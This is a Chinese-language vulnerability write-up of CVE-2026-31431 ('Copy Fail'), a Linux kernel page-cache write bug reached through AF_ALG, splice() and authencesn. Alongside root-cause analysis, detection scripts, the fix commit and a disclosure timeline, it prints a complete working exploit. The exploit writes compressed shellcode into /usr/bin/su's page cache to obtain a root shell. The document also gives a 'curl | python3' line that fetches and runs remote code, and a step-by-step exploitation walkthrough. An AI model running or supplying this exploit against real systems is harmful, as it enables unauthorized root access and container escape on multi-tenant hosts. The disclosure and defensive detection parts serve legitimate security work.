authencesn 中的一个逻辑缺陷,通过 AF_ALG 和 splice() 串联,最终转化为对系统上任意可读文件页缓存的受控 4 字节写入。无需竞态条件、无需偏移、无需编译载荷。自 2017 年以来,同一份 732 字节脚本即可在每一个 Linux 发行版上获得 root 权限。
CVE-2026-31431 - Copy Fail 是 Linux 内核 authencesn 加密模板中的一个逻辑缺陷。它允许非特权本地用户对系统上任意可读文件的页缓存执行一次受控的 4 字节写入,而无需修改磁盘上的文件。
该漏洞并不单独存在于三个组件中的任何一个,而是源于它们之间的交互:``` 2011 ────────────────────────────────────────────────────────────────────── - authencesn added to the kernel (a5079d084f8b). - Uses the caller's destination scatterlist as scratch space. - Reorder ESN bytes before HMAC computation. - Only caller: internal xfrm layer. Harmless.
2015 ────────────────────────────────────────────────────────────────────── - algif_aead.c gains AEAD support with splice() path (104880a6b470). - splice() can deliver page cache pages to the TX scatterlist. - AF_ALG uses out-of-place operation: req->src != req->dst. - Page cache pages remain read-only. Not exploitable.
2017 ────────────────────────────────────────────────────────────────────── - In-place optimization in algif_aead.c (72548b093ee3). - Copies AAD+CT to RX buffer but chains authentication tag pages via sg_chain(). - Sets req->src = req->dst. - Page cache pages now reside in WRITABLE dst. - authencesn writes past boundary → page cache corruption.
2026 ────────────────────────────────────────────────────────────────────── - Copy Fail - CVE-2026-31431. Discovered by Theori / Xint Code. - Exploitable across all distros since 2017.
---
---
---
<div id='root-cause'/>
## ***🧬 根本原因分析***
<div id='primitive'/>
### ***AF_ALG + splice() 原语***
AF_ALG (*[AF_ALG = 38](https://docs.kernel.org/crypto/userspace-if.html#user-space-api-general-remarks)*) 是一种套接字类型,它将内核加密 API 暴露给非特权用户空间。非特权进程可以:
1. 打开一个 AF_ALG / SOCK_SEQPACKET 套接字。
2. bind() 到内核 crypto API 暴露的任何可用 AEAD 模板。
3. 通过 setsockopt(SOL_ALG, ALG_SET_KEY, ...) 在配置的算法上设置加密密钥。
4. 调用 accept() 获取一个专用的操作套接字,该套接字将处理加密和解密请求。
5. 使用 sendmsg() 发送构造的数据,并通过 recvmsg() 接收处理后的结果,从而与内核 crypto 子系统完全交互。
它在所有主要发行版的内核配置中默认启用(CONFIG_CRYPTO_USER_API_AEAD=y)。
**[splice(2)](https://man7.org/linux/man-pages/man2/splice.2.html)** 在文件描述符之间传输数据,无需复制——它传递页面的引用,而不是副本。相关流程:```
open("/usr/bin/su") -> fd_file
pipe() -> pipe_rd, pipe_wr
# moves N bytes from the file into the pipe
# the pipe buffer now contains a reference to the same physical page in the page cache
splice(fd_file, pipe_wr, N)
# delivers that reference to the AF_ALG socket
# the TX scatterlist of algif_aead now points to the page cache page of /usr/bin/su
splice(pipe_rd, alg_fd, N)
The TX scatterlist of the AF_ALG socket contains direct references to the same physical pages used by the kernel for every read(), mmap(), and execve() of the file. No copy is involved.
Commit 72548b093ee3, algif_aead.c. 对于解密,该实现如下:
sg_chain() 将认证标签页链接起来,在 RX SGL 中保留页缓存引用。req->src = req->dst,两者都指向合并后的 RX SGL。```
TX SGL (input from splice):
[ page cache page: AAD || CT || Tag ]In-place operation: RX SGL (req->dst): [ user buffer: AAD (copy) || CT (copy) ] --sg_chain--> [ Tag (page cache pages) ] req->src = req->dst = RX SGL
Result: page cache pages from /usr/bin/su are now part of the WRITABLE scatterlist passed to the crypto algorithm.
<div id='authencesn'/>
### ***authencesn 中的越界写入(out-of-bounds write)***
authencesn 是 IPsec 在扩展序列号(RFC 4303)场景下使用的内核 AEAD 包装器。IPsec 使用 64 位序列号:
- seqno_hi - 高 32 位(AAD 的第 0-3 字节)
- seqno_lo - 低 32 位(AAD 的第 4-7 字节)
只有 seqno_lo 会在线路上传输;seqno_hi 是隐式上下文。为了计算 HMAC,authencesn 需要重新排列这些字节:将 seqno_hi 放在哈希输入的起始位置,而 seqno_lo 放在末尾。
它通过将调用方的目标 scatterlist 用作临时空间来执行这种重排:```c
/* crypto/authencesn.c - crypto_authenc_esn_decrypt() */
// [1] Read bytes 0-7 of the AAD from dst
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);
// [2] Overwrite dst[4..7] with seqno_hi (temporary modification for HMAC)
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
// [3] *** THE BUG ***
// Writes seqno_lo at dst[assoclen + cryptlen]
// This offset is AFTER the authentication tag - outside the legitimate AEAD output region.
// authencesn uses this position as scratch space and NEVER restores the original bytes.
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
调用 [3] 在 dst[assoclen + cryptlen] 处写入 4 字节。AEAD API 的解密输出约定是 AAD || 明文 —— 正好是 assoclen + (cryptlen - authsize) 字节。assoclen + cryptlen 位于认证标签之外。authencesn 写入了不属于它的内存。
crypto_authenc_esn_decrypt_tail() 会读回 seqno_lo 以重建正确的 AAD,但从未恢复 dst[assoclen + cryptlen] 处的原始字节。无论 HMAC 校验成功还是失败,这次覆盖都是永久性的。
内核中没有任何其他标准 AEAD 算法以这种方式运行。GCM、CCM 和标准 authenc 都严格将其写入限制在合法的输出区域内。
在 algif_aead 的 2017 年之后引入的就地路径中,作为 req->dst 传递给 authencesn 的 scatterlist 具有以下结构:``` req->dst: [ RX buffer (user memory) ] [ Tag region (page cache pages) ] [ AAD (copy) || CT (copy) ] [ from /usr/bin/su ] [<---- assoclen + cryptlen bytes --->] [<--- sg_chain from TX SGL ---->] ^ authencesn writes here: dst[assoclen + cryptlen] = seqno_lo (4 bytes controlled by the attacker)
scatterwalk_map_and_copy 并不关心页面所有权,它只是通过 kmap_local_page 映射 scatterlist 指向的任何页面并向其中写入。当 req->dst 中存在页面缓存页时,它最终会映射 "/usr/bin/su" 的缓存页面,并将 seqno_lo 直接写入该文件的内核内存副本中。
HMAC 是在重排后的字节上计算的,因而校验失败(密文由攻击者控制)。recvmsg() 返回错误。对页面缓存的 4 字节写入仍然存在。
---
<div id='scatterlist'/>
### ***遍历 scatterlist 至页面缓存页***```c
struct scatterlist {
unsigned long page_link; // physical page + flags (SG_END, SG_CHAIN)
unsigned int offset; // offset within the page
unsigned int length; // bytes in this entry
};
// sg_chain(sgl_a, nents_a, sgl_b):
// sgl_a[nents_a-1].page_link |= SG_CHAIN;
// sgl_a[nents_a-1].page_link = (unsigned long)sgl_b;
// the last entry of sgl_a now points to the beginning of sgl_b
RX SGL (req->dst) after in-place construction:
entry[0]: page=user_buf_page, offset=0, length=assoclen (AAD copied)
entry[1]: page=user_buf_page, offset=assoclen, length=cryptlen-4 (CT copied)
entry[2]: SG_CHAIN -> TX SGL entry[2]
|
v
page = page_cache_page_of_/usr/bin/su
offset = <tag offset within the file>
length = authsize (= 4)
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1):
offset_within_sgl = assoclen + cryptlen
-> walks past entry[0] (assoclen bytes)
-> walks past entry[1] (cryptlen-authsize bytes)
-> reaches entry[2]: offset_within_entry = 0
-> kmap_local_page(page_cache_page_of_su)
-> memcpy(mapped_page + page_offset, tmp+1, 4) <- WRITE INTO PAGE CACHE
-> kunmap_local(mapped_page)
The page is never marked dirty (SetPageDirty / mark_page_accessed are not invoked in this path). The kernel writeback mechanism does not flush it to disk. The file on disk remains unchanged.
可控的 4 字节写入原语进入页缓存,进而演变为完整的本地权限提升(LPE):
通过每次迭代写入 4 个字节,攻击者可以将 shellcode 修补到页缓存中 setuid 二进制文件的 .text 段。execve() 从页缓存加载,因此被篡改的二进制文件以 UID 0 执行。
页缓存在整个主机(包括所有容器)之间共享。Copy Fail 不仅是本地 LPE,更是一个容器逃逸原语,也是 Kubernetes 节点入侵向量。
| 环境 | 风险 | 结果 |
|---|---|---|
| 多租户 Linux 主机 | 严重 | 任意用户 → root |
| Kubernetes / 容器 | 严重 | Pod → 主机,跨租户 |
| CI 运行器(不受信任的 PR) | 严重 | PR → 运行器上的 root |
| 执行用户代码的 Cloud SaaS | 严重 | 租户 → 主机 root |
| 单租户服务器 | 高 | 内部 LPE;与 Web RCE 链式利用 |
| 单用户工作站 | 中 | 后渗透权限提升 |
任何运行构建于 2017 年至补丁期间的 Linux 系统,且默认配置中启用了 AF_ALG,这实际上涵盖了所有主流发行版。
Theori / Xint 直接验证:
| 发行版 | 内核 |
|---|---|
| Ubuntu 24.04 LTS |
| 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
运行受影响内核的其他发行版(Debian、Arch、Fedora、Rocky、Alma、Oracle、嵌入式目标)行为相同,该 bug 位于共享的加密子系统中,而非任何发行版特定的补丁。
利用要求:
uname -r
如果内核是在2017年至补丁(commit a664bf3d603d)之间构建的,则系统可能受影响。验证补丁是否存在:```bash
# Ubuntu / Debian
dpkg -l | grep linux-image
# RHEL / Fedora / Amazon Linux
rpm -q kernel
# SUSE
zypper se -s kernel-default
python3 -c " import socket try: s = socket.socket(38, 5, 0) s.close() print('[+] AF_ALG available - system potentially affected') except Exception as e: print(f'[-] AF_ALG not available: {e}') "
### ***3. 检查 algif_aead 是否已加载***```bash
sudo modinfo algif_aead 2>/dev/null && echo "[+] algif_aead available" || echo "[-] algif_aead not found"
以下脚本检查易受攻击的路径是否可达。它不执行任何写入操作,仅验证攻击面的可用性:```python #!/usr/bin/env python3 """ Copy Fail (CVE-2026-31431) - Attack surface verification. Does not perform any writes. Only checks whether the vulnerable path is available. """ import socket import sys
def check_surface(): results = {}
# 1. Check if AF_ALG socket is available
try:
# AF_ALG, SOCK_SEQPACKET
s = socket.socket(38, 5, 0)
results['af_alg_socket'] = True
# 2. Try binding to authencesn (the vulnerable algorithm)
try:
s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
results['authencesn_available'] = True
except OSError as e:
results['authencesn_available'] = False
results['authencesn_error'] = str(e)
s.close()
except OSError as e:
results['af_alg_socket'] = False
results['af_alg_error'] = str(e)
# 3. Check if splice() is available
import os
results['splice_available'] = hasattr(os, 'splice')
print("\n=== Copy Fail CVE-2026-31431 - Surface Check ===\n")
for k, v in results.items():
marker = '[+]' if v is True else '[-]' if v is False else '[i]'
print(f" {marker} {k}: {v}")
if results.get('af_alg_socket') and results.get('authencesn_available') and results.get('splice_available'):
print("\n [!] SURFACE AVAILABLE - system exposes the full attack surface.")
print(" Verify whether the kernel includes patch a664bf3d603d.")
else:
print("\n [OK] Surface mitigated or not available.")
if name == "main": check_surface()
---
<div id='exploit'/>
## ***💣 漏洞利用***
该漏洞利用最初由 Theori / Xint Code 在 2026 年 4 月 29 日公开披露的同时发布。
- **SHA256:** a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9`
- **官方仓库:** [github.com/theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)
- **要求:** Python 3.10+、受影响的内核、启用 AF_ALG。```python
#!/usr/bin/env python3
# Copy Fail - CVE-2026-31431
# Original: Theori / Xint Code - https://copy.fail/
# sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
# Requirements: Python 3.10+ (os.splice), affected kernel (2017-2026), AF_ALG enabled.
# Default target: /usr/bin/su (any readable setuid binary works).
# The page cache write is NOT persistent - it is reverted on the next reboot.
import os as g, zlib, socket as s
def d(x):
return bytes.fromhex(x)
def c(f, t, c):
# Open AF_ALG socket and bind to authencesn(hmac(sha256),cbc(aes))
a = s.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279 # SOL_ALG
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64)) # ALG_SET_KEY
v(h, 5, None, 4) # ALG_SET_AUTHSIZE = 4
u, _ = a.accept()
o = t + 4
i = d('00')
# sendmsg: AAD = seqno_hi (4 bytes) || seqno_lo (4 bytes = payload to write)
# authencesn writes seqno_lo into dst[assoclen+cryptlen] -> page cache
u.sendmsg(
[b"A" * 4 + c], # AAD: seqno_hi=0x41414141, seqno_lo=payload
[
(h, 3, i * 4), # ALG_SET_IV
(h, 2, b'\x10' + i * 19), # ALG_SET_OP=DECRYPT + params
(h, 4, b'\x08' + i * 3), # ALG_SET_AEAD_AUTHSIZE
],
32768 # MSG_SENDPAGE_NOTLAST
)
# splice: delivers page cache pages from the target file into the AF_ALG socket
# The TX SGL of the socket will point directly to page cache pages
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0) # file -> pipe (reference to page cache page)
n(r, u.fileno(), o) # pipe -> AF_ALG socket (TX SGL points to page cache)
# recv: triggers decrypt in the kernel
# authencesn performs the scratch write -> 4 bytes written into the page cache
# recvmsg() returns error (HMAC fails - attacker-controlled ciphertext), write persists
try:
u.recv(8 + t)
except:
0
# Open target binary (readable by any user)
f = g.open("/usr/bin/su", 0)
# zlib-compressed shellcode - patches /usr/bin/su in the page cache
i = 0
e = zlib.decompress(d(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
"209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675"
"c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))
# Iterate in 4-byte chunks: each iteration performs a controlled write into the page cache
while i < len(e):
c(f, i, e[i:i+4])
i += 4
# Execute the patched binary in memory - runs as UID 0
g.system("su")
curl https://copy.fail/exp | python3
python3 copy_fail_exp.py
python3 copy_fail_exp.py /usr/bin/passwd
id
---
---
---
<div id='walkthrough'/>
## ***🔬 漏洞利用演练***
<div id='step1'/>
### ***步骤 1 - 套接字设置***```python
# AF_ALG=38, SOCK_SEQPACKET=5
a = socket.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
选择 authencesn 模板——这是内核中唯一会在其合法输出区域之外进行写入的 AEAD 算法。这一选择是刻意的:GCM、CCM 和标准 authenc 都不会触发该 bug。```python a.setsockopt(SOL_ALG, ALG_SET_KEY, key) # arbitrary 32-byte key a.setsockopt(SOL_ALG, ALG_SET_AUTHSIZE, 4) # authsize = 4 bytes u, _ = a.accept() # operation socket
ALG_SET_AUTHSIZE = 4 设置认证标签大小。该值直接控制 `dst[assoclen + cryptlen]` 在散列表(scatterlist)中相对于标签区域的位置,因此也决定了页缓存页面中哪个偏移会被覆盖。
<div id='step2'/>
### ***第 2 步 - 构造写入***
对于负载的每个 4 字节块:```python
# AAD = 8 bytes: seqno_hi (bytes 0-3) || seqno_lo (bytes 4-7)
# seqno_lo = the 4 bytes we want to write into the page cache
aad = b"\x41\x41\x41\x41" + payload_chunk_4bytes
u.sendmsg([aad], [cmsg_headers], MSG_SENDPAGE_NOTLAST)
AAD 的第 4-7 字节(seqno_lo)正是 authencesn 写入 dst[assoclen + cryptlen] 的那 4 个字节。攻击者用所需的载荷值来构造它们。
文件偏移量通过 splice 参数控制:```python
o = t + 4 r, w = os.pipe() os.splice(target_fd, pipe_wr, o, offset_src=0) # offset_src=0, length=o os.splice(pipe_rd, alg_fd, o)
<div id='step3'/>
### ***步骤 3 - 触发页面缓存写入***```python
try:
u.recv(8 + t)
except:
pass # recvmsg() returns EBADMSG/EINVAL - HMAC fails. Expected.
recv() 调用会在内核内部触发解密操作。recvmsg() 错误是意料之中的,无关紧要。页缓存写入已经发生。
遍历所有 payload 块之后:``` os.system("su")
execve("/usr/bin/su"):
1. 内核从页缓存加载该二进制文件。
2. 被缓存的页包含注入的 shellcode(磁盘上的文件未更改)。
3. /usr/bin/su 是 setuid-root:该进程以有效 UID 0 启动。
4. Shellcode 会产生一个 root shell。```
$ python3 copy_fail_exp.py
# id
uid=0(root) gid=1002(xint) groups=1002(xint)
这三个漏洞都属于同一攻击类别:从非特权用户空间写入页缓存,而不修改磁盘上的文件,从而通过 setuid 二进制文件获取权限。它们的机制和约束条件差异显著。
VM 子系统中的写时复制(COW)路径存在竞态条件。需要赢得 TOCTOU 时间窗口,多次尝试,可靠性不稳定,偶尔会崩溃。影响内核版本 2.6.22 至 4.8.3。
滥用管道缓冲区中的 PIPE_BUF_FLAG_CAN_MERGE 标志,将攻击者控制的数据合并进页缓存。该攻击是确定性的,但依赖特定版本(内核 ≥ 5.8 且包含特定补丁)。
非竞态逻辑缺陷。无需竞态条件、无需各发行版偏移量、无需编译载荷。一个仅使用标准库的 732 字节 Python 脚本即可在 2017 年至 2026 年的所有主流发行版上获得 root 权限。
| Dirty Cow | Dirty Pipe | Copy Fail |
|---|
| 攻击机制 | 竞态条件(COW) | 管道标志滥用 | AEAD 逻辑 + scatterlist |
| 需要竞态 | 是 | 否 | 否 |
| 可靠性 | 30-80% | 高 | 100%,单次 |
| 内核版本范围 | 2.6.22-4.8.3 | ≥5.8(特定) | 2017-2026(约9年) |
| 发行版偏移量 | 是 | 部分 | 否 |
| 编译载荷 | 是 | 否 | 否 |
| 容器逃逸 | 否 | 否 | 是 |
主线提交 a664bf3d603d 修复了 72548b093ee3(2017 年的原地优化)
该补丁将 algif_aead.c 恢复为非原地操作。req->src 和 req->dst 重新成为独立的 scatterlist。通过 splice() 传入的页缓存页面仍保留在只读的 TX SGL(req->src)中。RX 缓冲区——加密算法唯一允许写入的内存——是用户的 recvmsg 缓冲区(req->dst)。之前将标记页(页缓存)链入可写目标的 sg_chain() 机制已被移除。```c
/* BEFORE (vulnerable) - req->src = req->dst, page cache pages in dst /
aead_request_set_crypt(&areq->cra_u.aead_req,
areq->first_rsgl.sgl.sgt.sgl, / RX SGL as src /
areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (same!) */
used, ctx->iv);
/* AFTER (fix) - separate scatterlists / aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src, / TX SGL as src (may contain page cache pages) / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (user buffer only) */ used, ctx->iv);
The commit message states: "There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings."
---
---
---
<div id='timeline'/>
## ***📅 披露时间线***
| Date | Event |
|------------|----------------------------------------------------------|
| 2026-03-23 | 向 Linux 内核安全团队报告了漏洞 |
| 2026-03-24 | 收到初步确认 |
| 2026-03-25 | 补丁已提出并审查 |
| 2026-04-01 | 补丁已提交到主线(a664bf3d603d) |
| 2026-04-22 | 分配了 CVE-2026-31431 |
| 2026-04-29 | 公开披露,[copy.fail](https://copy.fail/) |
**发现者:** Taeyang Lee,来自 [Theori](https://theori.io/) / [Xint Code](https://xint.io/)
---
---
---
<div id='references'/>
## ***📚 参考资料***
- **[NVD - CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)**
> 国家漏洞数据库中的条目。
- **[Copy Fail - Official disclosure](https://copy.fail/)**
> 包含常见问题、受影响发行版、缓解措施和 PoC 的落地页。
- **[Theori / Xint Blog - Full write-up](https://xint.io/blog/copy-fail-linux-distributions)**
> 根本原因、scatterlist 图、历史链条(2011→2015→2017)以及漏洞利用演练。
- **[Theori GitHub - copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)**
> 包含 PoC 的官方仓库。
- **[Commit a664bf3d603d - fix](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d)**
> 还原了 algif_aead 的原位优化。
- **[Commit 72548b093ee3 - root cause (2017)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=72548b093ee3)**
> 引入了将页缓存页放入可写目标的原位优化。
- **[Commit a5079d084f8b - authencesn introduced (2011)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a5079d084f8b)**
> 最初添加 authencesn 的提交,确立了暂存写入模式。
- **[Commit 104880a6b470 - authencesn migrated to AEAD API (2015)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=104880a6b470)**
> 引入了 assoclen + cryptlen 偏移量,导致在合法区域之外写入。
- **[CVE-2016-5195 - Dirty Cow](https://dirtycow.ninja/)** · **[CVE-2022-0847 - Dirty Pipe](https://dirtypipe.cm4all.com/)**
> 页缓存损坏 / 本地提权(LPE)类别中的现有技术。